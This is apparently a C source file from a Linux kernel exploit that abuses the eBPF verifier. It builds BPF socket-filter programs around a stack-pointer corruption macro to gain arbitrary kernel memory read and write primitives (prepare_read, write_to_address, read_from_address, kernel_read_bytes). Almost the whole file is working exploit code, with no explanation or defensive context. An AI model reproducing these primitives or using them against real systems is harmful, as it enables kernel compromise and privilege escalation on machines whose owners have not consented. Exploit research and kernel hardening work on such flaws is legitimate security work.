#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

#include "exploit_prims.h"

// loads a prog and returns the FD
int load_prog(struct bpf_insn *instructions, size_t insn_count)
{
    unsigned char log_buf[1000000] = {};
    memset(log_buf, 0, 1000000);
    union bpf_attr attr = {};
    attr.prog_type = BPF_PROG_TYPE_SOCKET_FILTER;
    attr.insns = (uint64_t)instructions;
    attr.insn_cnt = insn_count;
    attr.license = (uint64_t) "GPL";
    attr.log_size = sizeof(log_buf);
    attr.log_buf = (uint64_t)log_buf;
    attr.log_level = 3;

    // load the BPF program
    int prog_fd = syscall(SYS_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));

    if (prog_fd < 0) {
        for (int i = 0; i < sizeof(log_buf) && log_buf[i] != '\0'; i++) {
            if (log_buf[i] != '\n') {
                printf("%c",log_buf[i]);
            } else {
                printf("\n");
            }
        }     
        printf("%s\n", strerror(errno));
        printf("could load program\n");

        return -1;
    }

    return prog_fd;
}

int bpf_create_map(unsigned int max_entries) {
    union bpf_attr attr = {.map_type = BPF_MAP_TYPE_ARRAY,
        .key_size = sizeof(uint32_t),
        .value_size = sizeof(uint64_t),
        .max_entries = max_entries};

    return syscall(SYS_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}

int get_map_contents(context *ctx, uint64_t *contents) {
    for (uint64_t key = 0; key < ctx->map_size; key++) {
        uint64_t element = 0;
        union bpf_attr lookup_map = {.map_fd = (uint32_t)ctx->map_fd,
            .key = (uint64_t)&key,
            .value = (uint64_t)&element};
        int err =
            syscall(SYS_bpf, BPF_MAP_LOOKUP_ELEM, &lookup_map, sizeof(lookup_map));
        if (err < 0) {
            printf("could not read value from map\n");
            return -1;
        }
        contents[key] = element;
    }
    return 0;
}

int setup_send_sock() {
    return socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0);
}

int setup_listener_sock() {
    int sock_fd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK | SOCK_CLOEXEC, 0);
    if (sock_fd < 0) {
        return sock_fd;
    }

    struct sockaddr_in serverAddr;
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(1337);
    serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);

    int err = bind(sock_fd, (struct sockaddr *)&serverAddr, sizeof(serverAddr));
    if (err < 0) return err;

    err = listen(sock_fd, 32);
    if (err < 0) return err;

    return sock_fd;
}

int bpf_prog_skb_run(int prog_fd, const void *data, size_t size) {
    int err, socks[2] = {};

    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) != 0)
        return errno;

    if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF,
                &prog_fd, sizeof(prog_fd)) != 0)
    {
        err = errno;
        goto abort;
    }

    if (write(socks[1], data, size) != size)
    {
        err = -1;
        goto abort;
    }

    err = 0;

abort:
    close(socks[0]);
    close(socks[1]);
    return err;
}

int execute_bpf_program(context* ctx, int prog_fd, uint64_t *map_contents, void *data, int data_len) {
    if (bpf_prog_skb_run(prog_fd, data, data_len) != 0) {
        printf("Could not execute bpf program\n");
        return -1;
    }

    if (map_contents != NULL) {
        if (get_map_contents(ctx, map_contents) != 0) {
            printf("could not get map contents\n");
            return -1;
        }
    }

    return 0;
}

int prepare_read(context *ctx) {
    if (ctx->map_fd < 0) {
        printf("invalid map\n");
        return -1;
    }

    struct bpf_insn instrs[] = {
        CORRUPT_STACK_PTR,

        BPF_MEM_OPERATION(BPF_LDX, BPF_DW, BPF_REG_8, BPF_REG_1, 0),

        // Load ptr to map element 0, we'll write the value read from the
        // arbitrary pointer there.
        BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_0, /*imm=*/0, /*ins_class=*/BPF_ALU64),
        BPF_MEM_OPERATION(BPF_STX, BPF_DW, /*dst=*/BPF_REG_10, /*src=*/BPF_REG_0, /*offset=*/-32),
        BPF_LD_MAP_FD(/*dst=*/BPF_REG_4, ctx->map_fd),
        BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_1, /*src=*/BPF_REG_4, /*ins_class=*/BPF_ALU64),
        BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_2, /*src=*/BPF_REG_10, /*ins_class=*/BPF_ALU64),
        BPF_ALU_IMM(BPF_ADD, /*dst=*/BPF_REG_2, /*imm=*/-28, /*ins_class=*/BPF_ALU64),
        BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),
        BPF_JMP_IMM(BPF_JNE, /*dst=*/BPF_REG_0, /*imm=*/BPF_REG_0, /*off=*/BPF_REG_1, /*ins_class=*/BPF_JMP),
        BPF_EXIT_INSN(),
        BPF_MEM_OPERATION(BPF_STX, BPF_DW, /*dst=*/BPF_REG_0, /*src=*/BPF_REG_8, /*offset=*/0),

        BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_0, /*imm=*/BPF_REG_0, /*ins_class=*/BPF_ALU64),
        BPF_EXIT_INSN()
    };

    int prog_fd =load_prog(instrs, /*prog_len=*/sizeof(instrs) / sizeof(instrs[0]));
    if ( prog_fd < 0) {
        printf("Could not load program\n");
        return -1;
    }

    ctx->read_fd = prog_fd;
    return 0;
}

int write_to_address(context *ctx, uint64_t target_address, uint64_t value) {
    if (ctx->map_fd < 0) {
        printf("invalid map\n");
        return -1;
    }
    uint32_t lower_half_write = (uint32_t)(value & 0x00000000FFFFFFFF);
    uint32_t upper_half_write = (uint32_t)((value & 0xFFFFFFFF00000000)>>32);

    if ((int32_t)lower_half_write < 0) {
        upper_half_write +=1;
    }
    struct bpf_insn instrs[] = {
        CORRUPT_STACK_PTR,

        // Write to corrupted ptr.
        BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_2, /*imm=*/upper_half_write, /*ins_class=*/BPF_ALU64),
        BPF_ALU_IMM(BPF_LSH, /*dst=*/BPF_REG_2, /*imm=*/32, /*ins_class=*/BPF_ALU64),
        BPF_ALU_IMM(BPF_ADD, /*dst=*/BPF_REG_2, /*imm=*/lower_half_write, /*ins_class=*/BPF_ALU64),
        BPF_MEM_OPERATION(BPF_STX, BPF_DW, /*dst=*/BPF_REG_1, /*src=*/BPF_REG_2, /*offset=*/0),

        BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_0, /*imm=*/BPF_REG_0, /*ins_class=*/BPF_ALU64),
        BPF_EXIT_INSN()
    };

    int prog_fd =load_prog(instrs, /*prog_len=*/sizeof(instrs) / sizeof(instrs[0]));
    if ( prog_fd < 0) {
        printf("Could not load program\n");
        return -1;
    }
    uint64_t data[2];
    data[0] = 0xAAAAAAAAAAAAAAAA;
    data[1] = target_address;
    if (execute_bpf_program(ctx, prog_fd, NULL, data, sizeof(data) * sizeof(data[0])) != 0) {
        printf("Failed to execute program");
        return -1;
    }
    close(prog_fd);
    return 0;
}

int read_from_address(context *ctx, uint64_t target_address, uint64_t* value) {
    if (ctx->read_fd <0) {
        printf("invalid read bpf program!\n");
        return -1;
    }

    uint64_t data[2];
    data[0] = 0xAAAAAAAAAAAAAAAA;
    data[1] = target_address;
    if (execute_bpf_program(ctx, ctx->read_fd, NULL, data, sizeof(data) * sizeof(data[0])) != 0) {
        printf("Failed to execute program");
        return -1;
    }
    uint64_t map_contents[ctx->map_size];
    if (get_map_contents(ctx, map_contents) != 0) {
        printf("could not read map contents in main\n");
        return -1;
    }
    *value = map_contents[0];
    return 0;
}

int kernel_read_bytes(context *ctx, uint64_t target_address, void *destination, uint64_t size) {
    uint64_t read_amount = (size / sizeof(uint64_t));
    if (size % 8 != 0) {
        read_amount++;
    }

    uint64_t values_read[read_amount];
    for(uint64_t i = 0; i < read_amount; i++, target_address += 8) {
       if (read_from_address(ctx, target_address, &values_read[i]) != 0 ){
         printf("failed to read value no. %ld\n", i);
         return -1;
       }
    }

    memcpy(destination, (void*)values_read, size);
    return 0;
}
